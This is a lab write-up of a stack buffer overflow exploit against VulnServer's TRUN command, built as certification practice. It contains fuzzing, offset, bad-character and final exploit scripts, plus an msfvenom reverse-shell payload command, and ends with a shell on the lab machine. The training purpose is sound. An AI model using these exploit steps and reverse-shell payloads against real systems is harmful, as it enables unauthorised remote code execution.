AVILX

EXPLOIT DEVELOPMENT · STACK BUFFER OVERFLOW · 2026

VulnServer TRUN

Stack Buffer Overflow · OSED Preparation · Classic BOF · No Protections

TargetVulnServer 1.00 — TRUN command
PlatformWindows 10 Pro (x64)
ProtectionsNo ASLR · No DEP · No Stack Canary
AttackerBlackArch Linux
DebuggerWinDbg
DisassemblerIDA Free
AnalistaJesús Ávila (Avilx)
FechaOctubre 2026
Portafolioavilx.dev
SHELL OBTENIDA EXPLOIT DEV · BOF · x86 · OSED PREP

Entorno de laboratorio autorizado | Solo con fines educativos

exploit-dev-labs / vulnserver-trun

fuzzer.py · offset.py · eip_verify.py · badchars.py · exploit.py

Ver código

Overview

This lab was designed to strengthen foundational skills in Python scripting, x86 assembly comprehension, and the use of debugging tools such as WinDbg. The target was a Windows 10 virtual machine running VulnServer, a deliberately vulnerable application exposing a classic stack buffer overflow in its TRUN command with no modern protections enabled. The goal was to learn and apply the complete exploit development methodology — from fuzzing to shell — as preparation for the OSED certification. The result was successful: a reverse shell was obtained on DESKTOP-SL1FVD0, confirming that each step of the methodology was executed correctly. Beyond the technical result, the most valuable outcome was understanding the reasoning behind each step, which will be essential for future labs and the OSED exam.

Environment Setup

Attacker Machine

Component Details
Operating SystemBlackArch Linux
Python VersionPython 3.14.8
ToolsScript Fuzzing

Target Machine

Component Details
VirtualizerVMWare Workstation Pro
Operating SystemWindows 10 Pro
ApplicationVulnServer
DebuggerWinDbg
DisassemblerIDA Free
ProtectionsNo ASLR · No DEP · No Stack Canary

Network Configuration

Host IP Address
Attacker (BlackArch)192.168.174.1
Target (Windows VM)192.168.174.132
VulnServer Port9999

Service Reconnaissance

Service Banner

Black4rch # nc 192.168.174.132 9999
Welcome to Vulnerable Server! Enter HELP for help.

Available Commands

Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
Finding
The service exposes 12 commands. Since no source code is available, all commands are considered potential targets. Fuzzing will be applied to each command to identify which one is vulnerable, simulating a real black-box scenario, even though in this lab the vulnerable command is known to be TRUN.

Fuzzing

Hypothesis
I will send an increasing buffer of ‘A’ characters to the TRUN command to trigger a buffer overflow. The goal is to verify whether TRUN is vulnerable. The crash is expected to occur somewhere around 5000 bytes.

Fuzzer Script

import socket
from time import sleep

ip = "192.168.174.132"
port = 9999
buffer = "A" * 100

while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print(s.recv(1024))
s.send(('TRUN .' + buffer).encode())
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print(f"Crashed at {len(buffer)} bytes")
break

Result

Crashed at 2200 bytes
Finding
The service crashed at 2200 bytes sent to the TRUN command. At the moment of the crash, EIP (Extended Instruction Pointer) held the value 0x41414141, which in ASCII represents ‘AAAA’, confirming that the input buffer reached and overwrote the return address. This indicates potential EIP control.

Offset Calculation

Hypothesis
The crash was confirmed at 2200 bytes. A unique cyclic pattern will be sent instead of uniform ‘A’ characters. The value in EIP at the crash will reveal the exact offset to the return address.

Pattern Generation

/opt/metasploit/tools/exploit/pattern_create.rb -l 2200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5...
[truncated -- full pattern used in offset.py]

Offset Script

import socket
ip = "192.168.174.132"
port = 9999
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1..."  # 2200-byte cyclic pattern
# (truncated -- full pattern generated with pattern_create.rb -l 2200)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(('TRUN .' + buffer).encode())
s.close()

EIP Value at Crash

Black4rch # /opt/metasploit/tools/exploit/pattern_offset.rb -l 2200 -q 396f4338
[*] Exact match at offset 2006
Confirmed
The exact offset to EIP is 2006 bytes, identified using pattern_offset.rb with the value 0x396f4338 found in EIP at the moment of the crash.

EIP Control Verification

EIP control verification

import socket
ip = "192.168.174.132"
port = 9999
buffer = "A" * 2006 + "B" * 4 + "C" * 190
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print(s.recv(1024))
s.send(('TRUN .' + buffer).encode())
s.close()
Confirmed
EIP overwritten with 0x42424242. Full control of instruction pointer verified.

Bad Characters Identification

Hypothesis
Bad characters are bytes that the service modifies or removes when processing input. If shellcode contains a bad character, it will arrive corrupted in memory and fail to execute. To identify them, all bytes from \x01 to \xff will be sent after the EIP overwrite and inspected in memory using WinDbg.
import socket

ip = "192.168.174.132"
port = 9999
badchars = b""
for i in range(1, 256):
    badchars += bytes([i])
buffer = b"A" * 2006 + b"B" * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print(s.recv(1024))
s.send(b'TRUN .' + buffer)
s.close()
Finding
All bytes from \x01 to \xff were sent after the EIP overwrite. The memory dump at ESP showed the sequence intact with no missing or corrupted bytes. Therefore, the only confirmed bad character is \x00, which was excluded from the test by starting the sequence at \x01.

Return Address

Hypothesis
Once EIP control is confirmed, execution must be redirected to ESP, where the shellcode will reside. A JMP ESP instruction from a loaded module will be placed in EIP to achieve this. The address of JMP ESP must not contain bad characters, as they would be modified or removed before reaching EIP.

Finding JMP ESP

start    end      module name
00400000 00407000 vulnserver
62500000 62508000 essfunc  <- VulnServer module, no ASLR

0:004> s -b 62500000 62508000 ff e4
625011af  ff e4 ...

0:004> u 625011af
essfunc!EssentialFunc2+0x3:
625011af ffe4    jmp esp
Confirmed
JMP ESP found at 0x625011af in essfunc.dll — verified with WinDbg u command. Address contains no bad characters.

Shellcode & Exploitation

Shellcode Generation

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.174.124 LPORT=4444 
-b "\x00" -f python
Payload size: 351 bytes
Encoder: x86/shikata_ga_nai

Final Exploit Script

import socket

ip = "192.168.174.132"
port = 9999
buf  = b""
buf += b"\xda\xd7\xd9\x74..."  # 351 bytes, shikata_ga_nai encoded
# (full shellcode in exploit.py)

padding = b"\x90" * 16  # NOP sled
jmp_esp  = b"\xaf\x11\x50\x62"

buffer = b"A" * 2006 + jmp_esp + padding + buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(b"TRUN ." + buffer)
s.close()

Exploit Execution

A Netcat listener was started on port 4444 to catch the incoming reverse shell. The exploit sent a buffer of 2006 bytes to fill the stack, followed by the JMP ESP address at 0x625011af overwriting EIP, a 16-byte NOP sled, and the shellcode. Upon execution, a reverse shell connected back from DESKTOP-SL1FVD0 as user avilx.

Proof of Exploitation

C:\Users\Avilx\Downloads\vulnserver-master> whoami
desktop-sl1fvd0\avilx

C:\Users\Avilx\Downloads\vulnserver-master> hostname
DESKTOP-SL1FVD0
Attack Vector
Stack buffer overflow in VulnServer’s TRUN command → offset to EIP calculated at 2006 bytes → EIP overwritten with JMP ESP at 0x625011af in essfunc.dll → 16-byte NOP sled for reliable execution → reverse shell payload generated with msfvenom → shell obtained as desktop-sl1fvd0\avilx.

Final Reflection

What Went Well

The overall flow from reconnaissance to exploitation worked well. The fuzzer script required some guidance on structure and ordering, but once understood, the logic was clear. WinDbg was used effectively throughout — attaching to the process, reading registers at the crash, and searching for JMP ESP. The most challenging part was not the technical work but documenting in English, which is a new skill being developed alongside exploit development. IDA Free was not needed for this lab but will be used in future labs.

What Went Wrong

The main difficulties were in writing the Python scripts. Several syntax and logic errors occurred throughout the lab: mixing strings and bytes in the buffer, forgetting to move the socket creation inside the loop, using a tuple instead of string concatenation for the buffer, and leaving the JMP ESP address as an unquoted variable instead of bytes. Each error required debugging and correction before moving forward. These mistakes were expected for a first exploit development lab and reinforced the importance of understanding Python’s type system when working with raw network data.

Lessons Learned

This lab established a solid foundation in how memory works during a stack buffer overflow: the stack layout, EIP control, bad character identification, and the role of JMP ESP. Basic Python scripting for exploit automation was practiced, along with fundamental WinDbg usage for crash analysis and memory inspection. For Lab 02 SEH, the focus will be on writing cleaner code with correct syntax and logic from the start, and using IDA Free to go deeper into the binary analysis rather than relying solely on WinDbg. SEH introduces a different exploitation technique and will require understanding exception handler chains — a step up in complexity from vanilla BOF.

Connection to Vulnerability Research

This lab was performed without modern protections — no ASLR, no DEP, no stack canary. In a real-world CVE scenario, ASLR would randomize module base addresses on every reboot, making the JMP ESP address unreliable and requiring an information leak to defeat it. DEP would prevent shellcode execution on the stack, requiring a ROP chain to call VirtualProtect and mark the memory region executable before jumping to the payload. These techniques — ROP chains, information leaks, and bypass methods — are the core of OSED and real vulnerability research. This lab established the baseline that those advanced techniques build on.

Time Breakdown

Phase Time
Reconnaissance & Fuzzing20 Minutes
Offset & EIP Control40 Minutes
Bad Characters40 Minutes
Return Address1 Hour
Shellcode & Final Exploit1 Hour
Documentation1 Hour
Total4 Hours 20 Minutes